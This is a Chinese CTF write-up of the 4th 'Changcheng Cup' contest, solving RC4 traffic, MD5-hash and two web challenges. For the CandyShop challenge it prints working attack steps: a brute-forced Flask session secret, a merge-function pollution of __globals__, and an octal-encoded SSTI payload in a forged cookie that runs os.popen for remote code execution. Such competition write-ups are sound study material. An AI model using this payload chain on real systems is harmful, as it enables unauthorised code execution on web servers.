第四届“长城杯”网络安全大赛

该文章更新于 2024.11.12

和星盟的师傅一起打的比赛,好耶。

第四届“长城杯”网络安全大赛

MISC

BrickGame

玩游戏就行,帮所有动物配对。

img

漏洞探踪,流量解密

题目内容:

网站遭遇异常攻击,通过日志与流量锁定攻击来源,阶段二的压缩包密码是攻击来源ip地址,比如127.0.0.1,对捕获的数据包进行解密,识别加密算法并还原flag。flag格式为flag:{xxxxx}

有两部分,要求第一部分拿到攻击者ip作为密码解压压缩包。没找到。。队友直接爆破了,orz

image-20240908143735135

看http流看一遍

发现是rc4加密

image-20240908144117742

找到一些敏感信息。

image-20240908144152768

拿到

key:bdb8e21eace81d5fd21ca445ccb35071

raw:bdb8e21eace81d5fd21ca445ccb350715a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616dbdb8e21eace81d5fd21ca445ccb35071

发现raw是由两个key包裹起来的数据

拿出独立部分:5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d

对flag{进行rc4加密发现前面是一样。

image-20240908144415703

解rc4拿到flag。

image-20240908144512828

最安全的加密方式

CTF-NetA梭一遍拿到一个加密压缩包。并且找到了密码

img

压缩包里面的flag.txt是一堆md5

image-20240908145036212

试了一下,发现前面四行分别是f l a g的md5值。那让GPT写个爆破脚本就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

# 读取 flag.txt 中的 MD5 哈希值,每个哈希值一行
with open('flag.txt', 'r') as file:
hashes = [line.strip() for line in file]

# 定义爆破函数
def brute_force_md5(hash_value):
for i in range(128): # 遍历所有ASCII字符(0-127)
char = chr(i)
md5_value = hashlib.md5(char.encode()).hexdigest()
if md5_value == hash_value:
return char
return None

# 存储拼接后的结果
result_string = ""

# 对每个哈希值进行爆破并拼接结果
for hash_value in hashes:
result = brute_force_md5(hash_value)
if result:
result_string += result
else:
print(f'Hash: {hash_value} -> No match found.')

# 输出拼接后的字符串
print(f'Resulting string: {result_string}')

image-20240908145116557

WEB

SQLUP

一开始是一个登录框

image-20240908145229692

注了半天没注出来,结果队友告诉我爆破出来了。

admin

0

登录进去之后,发现有个文件上传,限制了上传文件名字不能含有’p’。上传.htaccess成功绕过。

image-20240908145457050

读取flag不成功,需要root权限才能读取。查看suid后发现tac命令可以。

image-20240908145544949

CandyShop

这题是赛后写的,比赛时一直没想着爆破key(铸币了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Register')

class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
submit = SubmitField('Login')

class Candy:
def __init__(self, name, image):
self.name = name
self.image = image

class User:
def __init__(self, username, password):
self.username = username
self.password = password

def verify_password(self, username, password):
return (self.username==username) & (self.password==password)

class Admin:
def __init__(self):
self.username = ""
self.identity = ""

def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
Candy(name="Chocolate Bar", image="images/candy2.jpg"),
Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
form = RegistrationForm()
if form.validate_on_submit():
user = User(username=form.username.data, password=form.password.data)
users.append(user)
return redirect(url_for('login'))


return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
for u in users:
if u.verify_password(form.username.data, form.password.data):
session['username'] = form.username.data
session['identity'] = "guest"
return redirect(url_for('home'))


return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
global inventory, sold
message = None
username = session.get('username')
identity = session.get('identity')

if not username:
return redirect(url_for('register'))

if sold >= 10 and sold < 500:
sold = 0
inventory = 500
message = "But you have bought too many candies!"
return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

if request.method == 'POST':
action = request.form.get('action')
if action == "buy_candy":
if inventory > 0:
inventory -= 3
sold += 3
if inventory == 0:
message = "All candies are sold out!"
if sold >= 500:
with open('secret.txt', 'r') as file:
message = file.read()

return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session,admin)
admin_user.append(admin)
return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
candy_name = request.form.get('name')
candy_image = request.form.get('image')
if candy_name and candy_image:
new_candy = Candy(name=candy_name, image=candy_image)
candies.append(new_candy)
return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
global inventory
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
if request.form.get('add'):
num = request.form.get('add')
inventory += int(num)
return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
return render_template('index.html')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=1337)

估计是原型链污染sold,但是不知道拿到admin用户。还是太菜了

爆破session拿到key:a123456,(这里是赛后爆的

image-20240909133710578

之后污染sold得到hint,flag在/tmp/…/…/…/flag

发现/admin/view_inventory路由存在ssti

1
2
3
4
5
6
7
8
9
>@app.route('/admin/view_inventory', methods=['GET', 'POST'])
>def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
import re

app = Flask(__name__)

app.config['SECRET_KEY'] = 'a123456'

class Admin:
def __init__(self):
self.username = ""
self.identity = ""
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

sold=0
inventory = 500

@app.route('/admin', methods=['GET', 'POST'])
def admin():
global sold
global inventory
admin = Admin()
merge(session, admin)

inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=1337)

成功

python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"

image-20240909133543256

而且有一个waf

1
2
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))

8进制绕过就好了。

1
2
3
4
5
6
7
8
input = '__import__("os").popen("whoami").read()'
print("\\'", end="")
for letter in input:
#print(hex(ord(letter)).replace("0x", r"\x"), end="")
#print(hex(ord(letter)).replace("0x", r"\u00"), end="")
print(oct(ord(letter)).replace("0o", "\\\\"), end="")
print("\\'")

我本机的payload{{''['__class__']['__bases__'][0]['__subclasses__']()[219]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

1
flask-unsign --sign --cookie "{'username':'aaa','identity':'asd','__init__':{'__globals__':{'sold':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[219][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

image-20240910140455138

成功rce

image-20240910140524556